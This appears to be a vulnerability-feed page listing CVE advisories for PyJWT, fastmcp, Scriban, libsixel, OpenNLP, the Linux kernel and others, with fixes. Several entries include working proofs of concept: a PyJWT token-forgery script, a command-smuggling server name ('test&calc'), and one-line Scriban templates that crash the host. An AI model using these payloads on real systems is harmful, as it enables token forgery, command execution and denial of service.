Search: em***int*-ho***.com
63 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.5 | EPSS 0.1% | High8.5EPSS 0.1%CVE Database V5CVE-2026-10046 Bitdefender Napoca bare-metal hypervisor contains an out-of-bounds write vulnerability in the BIOS INT 0x15 / E820 memory map handler, implemented in napoca/guests/bios_handlers.c. The handler computes a destination offset into the guest RealModeMemory buffer from guest-controlled ES and EDI register values without validating that the resulting address remains within the 1MB RealModeMemory allocation. A malicious guest operating in real mode can trigger the issue by invoking INT 0x15 with AX=0xE820, EDX=0x534D4150, ECX greater than or equal to 20, EBX=0, ES=0xFFFF, and EDI=0xFFFF. This can cause a write of up to 20 bytes past the end of the RealModeMemory buffer into the hypervisor heap. The product is end-of-life and unsupported when assigned. | CVE Database V5 | ||
| Medium | 4.2 | EPSS 0.2% | CVE-2026-48522jpadilla pyjwt · Confused Deputy Medium4.2EPSS 0.2%CVE Database V5CVE-2026-48522 > [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. ## Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. ## Affected versions Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction. ## Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time # Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() # Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) # Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) # Vulnerable application pattern: caller derives jku from token header # and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently key_obj = client.get_signing_key_from_jwt(token) decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) # Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...} ``` ## Cross-library evidence — PyJWT is the outlier The same composition pattern is structurally safe in 4 other mainstream JWT libraries: | Library | Behavior on `jku=file://...` | Mechanism | |---|---|---| | **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build | PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer. ## Recommended fix Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted. ### Diff sketch against `jwt/jwks_client.py` ```python def __init__( self, uri: str, cache_keys: bool = False, max_cached_keys: int = 16, cache_jwk_set: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, ssl_context: SSLContext | None = None, allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowed_schemes: URL schemes the JWKS endpoint is permitted to use. Default ``("https", "http")``. Pass ``("https",)`` for HTTPS-only oper | CVE Database V5 | ||
| Low | 5.5 | EPSS 0.1% | Low5.5EPSS 0.1%GCVE DatabaseCVE-2026-46167 In the Linux kernel, the following vulnerability has been resolved: usb: usblp: fix uninitialized heap leak via LPGETSTATUS ioctl Just like in a previous problem in this driver, usblp_ctrl_msg() will collapse the usb_control_msg() return value to 0/-errno, discarding the actual number of bytes transferred. Ideally that short command should be detected and error out, but many printers are known to send "incorrect" responses back so we can't just do that. statusbuf is kmalloc(8) at probe time and never filled before the first LPGETSTATUS ioctl. usblp_read_status() requests 1 byte. If a malicious printer responds with zero bytes, *statusbuf is one byte of stale kmalloc heap, sign-extended into the local int status, which the LPGETSTATUS path then copy_to_user()s directly to the ioctl caller. Fix this all by just zapping out the memory buffer when allocated at probe time. If a later call does a short read, the data will be identical to what the device sent it the last time, so there is no "leak" of information happening. | GCVE Database | ||
| High | 7.8 | EPSS 0.1% | CVE-2026-46209Linux kernel · drm/gem: Fix inconsistent plane dimension calculation in drm_gem_fb_init_with_funcs() High7.8EPSS 0.1%GCVE DatabaseCVE-2026-46209 In the Linux kernel, the following vulnerability has been resolved: drm/gem: Fix inconsistent plane dimension calculation in drm_gem_fb_init_with_funcs() drm_gem_fb_init_with_funcs() computes sub-sampled plane dimensions using plain integer division: unsigned int width = mode_cmd->width / (i ? info->hsub : 1); unsigned int height = mode_cmd->height / (i ? info->vsub : 1); However, the ioctl-level framebuffer_check() in drm_framebuffer.c uses drm_format_info_plane_width/height() which round up dimensions via DIV_ROUND_UP(). This inconsistency corrupts the subsequent GEM object size check for certain pixel format and dimension combinations. For example, with NV12 (vsub=2) and a 1-pixel-tall framebuffer the GEM size validation path sees height=0 instead of height=1. The expression (height - 1) then wraps to UINT_MAX as an unsigned int, causing min_size to overflow and wrap back to a small value. A tiny GEM object therefore passes the size guard, yet when the GPU accesses the chroma plane it will read or write memory beyond the object's bounds. Fix by replacing the open-coded divisions with drm_format_info_plane_width() and drm_format_info_plane_height(), which use DIV_ROUND_UP() and match the calculation already used in framebuffer_check(). | GCVE Database | ||
| High | 7.1 | EPSS 0.2% | CVE-2026-44637saitoha libsixel · Integer Overflow or Wraparound High7.1EPSS 0.2%CVE Database V5CVE-2026-44637 libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. From to 1.8.7-r1, a signed integer overflow in the SIXEL parser's image-buffer doubling loop can lead to an out-of-bounds heap write in sixel_decode_raw_impl. context->pos_x grows by repeat_count on every sixel character with no upper bound check. Once pos_x approaches INT_MAX, the expression "pos_x + repeat_count" used to size the image buffer overflows signed int. Depending on how the overflow wraps, the resize check that should reject oversized buffers can be bypassed, after which a subsequent write computes a large attacker-influenced offset into image->data and writes past the allocation. Reachable from any caller that decodes attacker-supplied SIXEL data, including img2sixel. This vulnerability is fixed in 1.8.7-r2. | CVE Database V5 | ||
| Critical | 9.1 | EPSS 0.7% | CVE-2026-43407Linux kernel · libceph: Fix potential out-of-bounds access in ceph_handle_auth_reply() Critical9.1EPSS 0.7%GCVE DatabaseCVE-2026-43407 A vulnerability in the Linux kernel's libceph component involving an out-of-bounds memory access in the ceph_handle_auth_reply() function has been fixed. The issue arises from an integer overflow caused by the payload_len field being stored as a signed int, allowing a crafted message to trigger unsafe memory access. The fix changes payload_len and result_msg_len to unsigned 32-bit integers and adds sanity checks to prevent lengths exceeding the segment size. This vulnerability has a high severity with a CVSS score of 9.1 and affects multiple Linux kernel versions. A patch is available and should be applied to mitigate the risk. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-42440Apache OpenNLP · Excessive Memory Allocation High7.5EPSS 0.6%CVE Database V5CVE-2026-42440 OOM Denial of Service via Unbounded Array Allocation in Apache OpenNLP AbstractModelReader Versions Affected: before 1.9.5 before 2.5.9 before 3.0.0-M3 Description: The AbstractModelReader methods getOutcomes(), getOutcomePatterns(), and getPredicates() each read a 32-bit signed integer count field from a binary model stream and pass that value directly to an array allocation (new String[numOutcomes], new int[numOCTypes][], new String[NUM_PREDS]) without validating that the value is non-negative or within a reasonable bound. The count is therefore fully attacker-controlled when the model file originates from an untrusted source. A crafted .bin model file in which any of these count fields is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) triggers an OutOfMemoryError at the array allocation itself, before the corresponding label or pattern data is consumed from the stream. The error occurs very early in deserialization: for a GIS model, getOutcomes() is reached after only the model-type string, the correction constant, and the correction parameter have been read; so the attacker pays no meaningful size cost to weaponize a payload, and a single small file can crash a JVM that loads it. Any code path that deserializes a .bin model is affected, including direct use of GenericModelReader and any higher-level component that delegates to it during model load. The practical impact is denial of service against processes that load model files from untrusted or semi-trusted origins. Mitigation: * 2.x users should upgrade to 2.5.9. * 3.x users should upgrade to 3.0.0-M3. Note: The fix introduces an upper bound on each of the three count fields, checked before array allocation; counts that are negative or exceed the bound cause an IllegalArgumentException to be thrown and the read to fail fast with no large allocation. The default bound is 10,000,000, which is well above the entry counts of legitimate OpenNLP models but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load models with more entries than the default can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default. Users who cannot upgrade immediately should treat all .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.1% | High7.1EPSS 0.1%GCVE DatabaseCVE-2026-31707 In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate response sizes in ipc_validate_msg() ipc_validate_msg() computes the expected message size for each response type by adding (or multiplying) attacker-controlled fields from the daemon response to a fixed struct size in unsigned int arithmetic. Three cases can overflow: KSMBD_EVENT_RPC_REQUEST: msg_sz = sizeof(struct ksmbd_rpc_command) + resp->payload_sz; KSMBD_EVENT_SHARE_CONFIG_REQUEST: msg_sz = sizeof(struct ksmbd_share_config_response) + resp->payload_sz; KSMBD_EVENT_LOGIN_REQUEST_EXT: msg_sz = sizeof(struct ksmbd_login_response_ext) + resp->ngroups * sizeof(gid_t); resp->payload_sz is __u32 and resp->ngroups is __s32. Each addition can wrap in unsigned int; the multiplication by sizeof(gid_t) mixes signed and size_t, so a negative ngroups is converted to SIZE_MAX before the multiply. A wrapped value of msg_sz that happens to equal entry->msg_sz bypasses the size check on the next line, and downstream consumers (smb2pdu.c:6742 memcpy using rpc_resp->payload_sz, kmemdup in ksmbd_alloc_user using resp_ext->ngroups) then trust the unverified length. Use check_add_overflow() on the RPC_REQUEST and SHARE_CONFIG_REQUEST paths to detect integer overflow without constraining functional payload size; userspace ksmbd-tools grows NDR responses in 4096-byte chunks for calls like NetShareEnumAll, so a hard transport cap is unworkable on the response side. For LOGIN_REQUEST_EXT, reject resp->ngroups outside the signed [0, NGROUPS_MAX] range up front and report the error from ipc_validate_msg() so it fires at the IPC boundary; with that bound the subsequent multiplication and addition stay well below UINT_MAX. The now-redundant ngroups check and pr_err in ksmbd_alloc_user() are removed. This is the response-side analogue of aab98e2dbd64 ("ksmbd: fix integer overflows on 32 bit systems"), which hardened the request side. | GCVE Database | ||
| Medium | 6.7 | EPSS 0.7% | CVE-2025-64340jlowin fastmcp · OS Command Injection Medium6.7EPSS 0.7%CVE Database V5CVE-2025-64340 Server names containing shell metacharacters (e.g., `&`) can cause command injection on Windows when passed to `fastmcp install claude-code` or `fastmcp install gemini-cli`. These install paths use `subprocess.run()` with a list argument, but on Windows the target CLIs often resolve to `.cmd` wrappers that are executed through `cmd.exe`, which interprets metacharacters in the flattened command string. PoC: ```python from fastmcp import FastMCP mcp = FastMCP(name="test&calc") @mcp.tool def roll_dice(n_dice: int) -> list[int]: """Roll `n_dice` 6-sided dice and return the results.""" return [random.randint(1, 6) for _ in range(n_dice)] ``` ``` fastmcp install claude-code server.py # or: fastmcp install gemini-cli server.py ``` On Windows, this opens Calculator via the `&calc` in the server name. Impact: Arbitrary command execution with the privileges of the user running `fastmcp install`. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a `.cmd` wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json). Patched in #3522 by validating server names to reject shell metacharacters. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.1% | High7.8EPSS 0.1%GCVE DatabaseCVE-2026-23343 In the Linux kernel, the following vulnerability has been resolved: xdp: produce a warning when calculated tailroom is negative Many ethernet drivers report xdp Rx queue frag size as being the same as DMA write size. However, the only user of this field, namely bpf_xdp_frags_increase_tail(), clearly expects a truesize. Such difference leads to unspecific memory corruption issues under certain circumstances, e.g. in ixgbevf maximum DMA write size is 3 KB, so when running xskxceiver's XDP_ADJUST_TAIL_GROW_MULTI_BUFF, 6K packet fully uses all DMA-writable space in 2 buffers. This would be fine, if only rxq->frag_size was properly set to 4K, but value of 3K results in a negative tailroom, because there is a non-zero page offset. We are supposed to return -EINVAL and be done with it in such case, but due to tailroom being stored as an unsigned int, it is reported to be somewhere near UINT_MAX, resulting in a tail being grown, even if the requested offset is too much (it is around 2K in the abovementioned test). This later leads to all kinds of unspecific calltraces. [ 7340.337579] xskxceiver[1440]: segfault at 1da718 ip 00007f4161aeac9d sp 00007f41615a6a00 error 6 [ 7340.338040] xskxceiver[1441]: segfault at 7f410000000b ip 00000000004042b5 sp 00007f415bffecf0 error 4 [ 7340.338179] in libc.so.6[61c9d,7f4161aaf000+160000] [ 7340.339230] in xskxceiver[42b5,400000+69000] [ 7340.340300] likely on CPU 6 (core 0, socket 6) [ 7340.340302] Code: ff ff 01 e9 f4 fe ff ff 0f 1f 44 00 00 4c 39 f0 74 73 31 c0 ba 01 00 00 00 f0 0f b1 17 0f 85 ba 00 00 00 49 8b 87 88 00 00 00 <4c> 89 70 08 eb cc 0f 1f 44 00 00 48 8d bd f0 fe ff ff 89 85 ec fe [ 7340.340888] likely on CPU 3 (core 0, socket 3) [ 7340.345088] Code: 00 00 00 ba 00 00 00 00 be 00 00 00 00 89 c7 e8 31 ca ff ff 89 45 ec 8b 45 ec 85 c0 78 07 b8 00 00 00 00 eb 46 e8 0b c8 ff ff <8b> 00 83 f8 69 74 24 e8 ff c7 ff ff 8b 00 83 f8 0b 74 18 e8 f3 c7 [ 7340.404334] Oops: general protection fault, probably for non-canonical address 0x6d255010bdffc: 0000 [#1] SMP NOPTI [ 7340.405972] CPU: 7 UID: 0 PID: 1439 Comm: xskxceiver Not tainted 6.19.0-rc1+ #21 PREEMPT(lazy) [ 7340.408006] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-5.fc42 04/01/2014 [ 7340.409716] RIP: 0010:lookup_swap_cgroup_id+0x44/0x80 [ 7340.410455] Code: 83 f8 1c 73 39 48 ba ff ff ff ff ff ff ff 03 48 8b 04 c5 20 55 fa bd 48 21 d1 48 89 ca 83 e1 01 48 d1 ea c1 e1 04 48 8d 04 90 <8b> 00 48 83 c4 10 d3 e8 c3 cc cc cc cc 31 c0 e9 98 b7 dd 00 48 89 [ 7340.412787] RSP: 0018:ffffcc5c04f7f6d0 EFLAGS: 00010202 [ 7340.413494] RAX: 0006d255010bdffc RBX: ffff891f477895a8 RCX: 0000000000000010 [ 7340.414431] RDX: 0001c17e3fffffff RSI: 00fa070000000000 RDI: 000382fc7fffffff [ 7340.415354] RBP: 00fa070000000000 R08: ffffcc5c04f7f8f8 R09: ffffcc5c04f7f7d0 [ 7340.416283] R10: ffff891f4c1a7000 R11: ffffcc5c04f7f9c8 R12: ffffcc5c04f7f7d0 [ 7340.417218] R13: 03ffffffffffffff R14: 00fa06fffffffe00 R15: ffff891f47789500 [ 7340.418229] FS: 0000000000000000(0000) GS:ffff891ffdfaa000(0000) knlGS:0000000000000000 [ 7340.419489] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 7340.420286] CR2: 00007f415bfffd58 CR3: 0000000103f03002 CR4: 0000000000772ef0 [ 7340.421237] PKRU: 55555554 [ 7340.421623] Call Trace: [ 7340.421987] <TASK> [ 7340.422309] ? softleaf_from_pte+0x77/0xa0 [ 7340.422855] swap_pte_batch+0xa7/0x290 [ 7340.423363] zap_nonpresent_ptes.constprop.0.isra.0+0xd1/0x270 [ 7340.424102] zap_pte_range+0x281/0x580 [ 7340.424607] zap_pmd_range.isra.0+0xc9/0x240 [ 7340.425177] unmap_page_range+0x24d/0x420 [ 7340.425714] unmap_vmas+0xa1/0x180 [ 7340.426185] exit_mmap+0xe1/0x3b0 [ 7340.426644] __mmput+0x41/0x150 [ 7340.427098] exit_mm+0xb1/0x110 [ 7340.427539] do_exit+0x1b2/0x460 [ 7340.427992] do_group_exit+0x2d/0xc0 [ 7340.428477] get_signal+0x79d/0x7e0 [ 7340.428957] arch_do_signal_or_restart+0x34/0x100 [ 7340.429571] exit_to_user_mode_loop+0x8e/0x4c0 [ 7340.430159] do_syscall_64+0x188/ ---truncated--- | GCVE Database | ||
| Medium | 6.5 | Medium6.5GCVE Database ## Summary Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates. ## Details ### Vector 1: Unbounded string multiplication In `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334 var leftText = context.ObjectToString(left); var builder = new StringBuilder(); for (int i = 0; i < value; i++) { builder.Append(leftText); } return builder.ToString(); ``` The `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop — `StepLoop()` is never called here. ### Vector 2: Unbounded BigInteger shift left The `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711 case ScriptBinaryOperator.ShiftLeft: return (BigInteger)left << (int)right; ``` ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784 case ScriptBinaryOperator.ShiftLeft: return left << (int)right; ``` In contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One << 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations. ### Vector 3: LoopLimit bypass via range enumeration in builtin functions The range operators `..` and `..<` produce lazy `IEnumerable<object>` iterators: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417 private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right) { if (left < right) { for (var i = left; i <= right; i++) { yield return FitToBestInteger(i); } } // ... } ``` When these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` — it is never called in any function under `src/Scriban/Functions/`. For example: - `ArrayFunctions.Size` (line 609) calls `.Cast<object>().Count()`, fully enumerating the range - `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit ## PoC ### Vector 1 — String multiplication OOM: ```csharp var template = Template.Parse("{{ 'AAAA' * 500000000 }}"); var context = new TemplateContext(); // context.LimitToString is 1048576 by default — does NOT protect this path template.Render(context); // OutOfMemoryException: attempts ~2GB allocation ``` ### Vector 2 — BigInteger shift OOM: ```csharp var template = Template.Parse("{{ 1 << 100000000 }}"); var context = new TemplateContext(); template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB) // {{ 1 << 2000000000 }} attempts ~250MB ``` ### Vector 3 — LoopLimit bypass via range + builtin: ```csharp var template = Template.Parse("{{ (0..1000000000) | array.size }}"); var context = new TemplateContext(); // context.LoopLimit is 1000 — does NOT protect builtin function iteration template.Render(context); // CPU exhaustion: enumerates 1 billion items ``` ```csharp var template = Template.Parse("{{ (0..10000000) | array.join ',' }}"); var context = new TemplateContext(); template.Render(context); // Memory exhaustion: builds ~80MB+ joined string ``` ## Impact An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because: 1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. 2. A single malicious template expression is sufficient — no complex template logic is required. 3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation. ## Recommended Fix ### Vector 1 — String multiplication: Check `LimitToString` before the loop ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330 var leftText = context.ObjectToString(left); | GCVE Database | |||
| Medium | 6.5 | Medium6.5GCVE Database ## Summary The `LimitToString` safety limit (default 1MB since commit `b5ac4bf`) can be bypassed to allocate approximately 1GB of memory by exploiting the per-call reset of `_currentToStringLength` in `ObjectToString`. Each template expression rendered through `TemplateContext.Write(SourceSpan, object)` triggers a separate top-level `ObjectToString` call that resets the length counter to zero, and the underlying `StringBuilderOutput` has no cumulative output size limit. An attacker who can supply a template can cause an out-of-memory condition in the host application. ## Details The root cause is in `TemplateContext.Helpers.cs`, in the `ObjectToString` method: ```csharp // src/Scriban/TemplateContext.Helpers.cs:89-111 public virtual string ObjectToString(object value, bool nested = false) { if (_objectToStringLevel == 0) { _currentToStringLength = 0; // <-- resets on every top-level call } try { _objectToStringLevel++; // ... var result = ObjectToStringImpl(value, nested); if (LimitToString > 0 && _objectToStringLevel == 1 && result != null && result.Length >= LimitToString) { return result + "..."; } return result; } // ... } ``` Each time a template expression is rendered, `TemplateContext.Write(SourceSpan, object)` calls `ObjectToString`: ```csharp // src/Scriban/TemplateContext.cs:693-701 public virtual TemplateContext Write(SourceSpan span, object textAsObject) { if (textAsObject != null) { var text = ObjectToString(textAsObject); // fresh _currentToStringLength = 0 Write(text); } return this; } ``` The `StringBuilderOutput.Write` method appends unconditionally with no size check: ```csharp // src/Scriban/Runtime/StringBuilderOutput.cs:47-50 public void Write(string text, int offset, int count) { Builder.Append(text, offset, count); // no cumulative limit } ``` **Execution flow:** 1. Template creates a string of length 1,048,575 (one byte under the 1MB `LimitToString` default) 2. A `for` loop iterates up to `LoopLimit` (default 1000) times 3. Each iteration renders the string via `Write(span, x)` → `ObjectToString(x)` 4. `ObjectToString` resets `_currentToStringLength = 0` since `_objectToStringLevel == 0` 5. The string passes the `LimitToString` check (1,048,575 < 1,048,576) 6. Full string is appended to `StringBuilder` — no cumulative tracking 7. After 1000 iterations: ~1GB allocated in-memory ## PoC ```csharp using Scriban; // Uses only default TemplateContext settings (LoopLimit=1000, LimitToString=1048576) var template = Template.Parse("{{ x = \"\" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}"); // This will allocate ~1GB in the StringBuilder, likely causing OOM var result = template.Render(); ``` Equivalent Scriban template: ```scriban {{ x = "" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }} ``` Each of the 1000 loop iterations outputs a 1,048,575-character string. Each passes the per-call `LimitToString` check independently. Total output: ~1,000,000,000 characters (~1GB) allocated in the `StringBuilder`. ## Impact - **Denial of Service:** An attacker who can supply Scriban templates (common in CMS, email templating, report generation) can crash the host application via out-of-memory - **Process-level impact:** OOM kills the entire .NET process, not just the template rendering — affects all concurrent users - **Bypass of safety mechanism:** The `LimitToString` limit was specifically introduced to prevent resource exhaustion, but the per-call reset makes it ineffective against cumulative abuse - **Low complexity:** The exploit template is trivial — a single line ## Recommended Fix Add a cumulative output size counter to `TemplateContext` that tracks total bytes written across all `Write` calls, independent of the per-object `LimitToString`: ```csharp // In TemplateContext.cs — add new property and field private long _totalOutputLength; /// <summary> /// Gets or sets the maximum total output length in characters. Default is 10485760 (10 MB). 0 means no limit. /// </summary> public int OutputLimit { get; set; } = 10485760; // In TemplateContext.Write(string, int, int) — add check before writing public TemplateContext Write(string text, int startIndex, int count) { if (text != null) { if (OutputLimit > 0) { _totalOutputLength += count; if (_totalOutputLength > OutputLimit) { throw new ScriptRuntimeException(CurrentSpan, $"The output limit of {OutputLimit} characters was reached."); } } // ... existing indent/write logic } return this; } ``` This provides defense-in-depth: `LimitToString` caps individual object serialization, while `OutputLimit` caps total template output. | GCVE Database | |||
| High | 7.5 | High7.5GCVE Database ## Summary The `object.to_json` builtin function in Scriban performs recursive JSON serialization via an internal `WriteValue()` static local function that has no depth limit, no circular reference detection, and no stack overflow guard. A Scriban template containing a self-referencing object passed to `object.to_json` triggers unbounded recursion, causing a `StackOverflowException` that terminates the hosting .NET process. This is a fatal, unrecoverable crash — `StackOverflowException` cannot be caught by user code in .NET. ## Details The vulnerable code is the `WriteValue()` static local function at `src/Scriban/Functions/ObjectFunctions.cs:494`: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value) { var type = value?.GetType() ?? typeof(object); if (value is null || value is string || value is bool || type.IsPrimitiveOrDecimal() || value is IFormattable) { JsonSerializer.Serialize(writer, value, type); } else if (value is IList || type.IsArray) { writer.WriteStartArray(); foreach (var x in context.ToList(context.CurrentSpan, value)) { WriteValue(context, writer, x); // recursive, no depth check } writer.WriteEndArray(); } else { writer.WriteStartObject(); var accessor = context.GetMemberAccessor(value); foreach (var member in accessor.GetMembers(context, context.CurrentSpan, value)) { if (accessor.TryGetValue(context, context.CurrentSpan, value, member, out var memberValue)) { writer.WritePropertyName(member); WriteValue(context, writer, memberValue); // recursive, no depth check } } writer.WriteEndObject(); } } ``` This function has **none** of the safety mechanisms present in other recursive paths: - `ObjectToString()` at `TemplateContext.Helpers.cs:98` checks `ObjectRecursionLimit` (default 20) - `EnterRecursive()` at `TemplateContext.cs:957` calls `RuntimeHelpers.EnsureSufficientExecutionStack()` - `CheckAbort()` at `TemplateContext.cs:464` also calls `EnsureSufficientExecutionStack()` The `WriteValue()` function bypasses all of these because it is a static local function that only takes the `TemplateContext` for member access — it never calls `EnterRecursive()`, never checks `ObjectRecursionLimit`, and never calls `EnsureSufficientExecutionStack()`. **Execution flow:** 1. Template creates a ScriptObject: `{{ x = {} }}` 2. Sets a self-reference: `x.self = x` — stores a reference in `ScriptObject.Store` dictionary 3. Pipes to `object.to_json`: `x | object.to_json` → calls `ToJson()` at line 477 4. `ToJson()` calls `WriteValue(context, writer, value)` at line 488 5. `WriteValue` enters the `else` branch (line 515), gets members via accessor, finds "self" 6. `TryGetValue` returns `x` itself, `WriteValue` recurses with the same object — infinite loop 7. `StackOverflowException` is thrown — **fatal, cannot be caught, process terminates** ## PoC ```scriban {{ x = {}; x.self = x; x | object.to_json }} ``` In a hosting application: ```csharp using Scriban; // This will crash the entire process with StackOverflowException var template = Template.Parse("{{ x = {}; x.self = x; x | object.to_json }}"); var result = template.Render(); // FATAL: process terminates here ``` Even without circular references, deeply nested objects can exhaust the stack since no depth limit is enforced: ```scriban {{ a = {} b = {inner: a} c = {inner: b} d = {inner: c} # ... continue nesting ... result = deepest | object.to_json }} ``` ## Impact - **Process crash DoS**: Any application embedding Scriban for user-provided templates (CMS platforms, email template engines, report generators, static site generators) can be crashed by a single malicious template. The crash is unrecoverable — `StackOverflowException` terminates the .NET process. - **No try/catch protection possible**: Unlike most exceptions, `StackOverflowException` cannot be caught by application code. The hosting application cannot wrap `template.Render()` in a try/catch to survive this. - **No authentication required**: `object.to_json` is a default builtin function (registered in `BuiltinFunctions.cs`), available in all Scriban templates unless explicitly removed. - **Trivial to exploit**: The PoC is a single line of template code. ## Recommended Fix Add a depth counter parameter to `WriteValue()` and check it against `ObjectRecursionLimit`, consistent with how `ObjectToString` is protected. Also add `EnsureSufficientExecutionStack()` as a safety net: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value, int depth = 0) { if (context.ObjectRecursionLimit != 0 && depth > context.ObjectRecursionLimit) { throw new ScriptRuntimeException(context.CurrentSpan, $"Exceeding object recursion limit `{context.ObjectRecursion | GCVE Database | |||
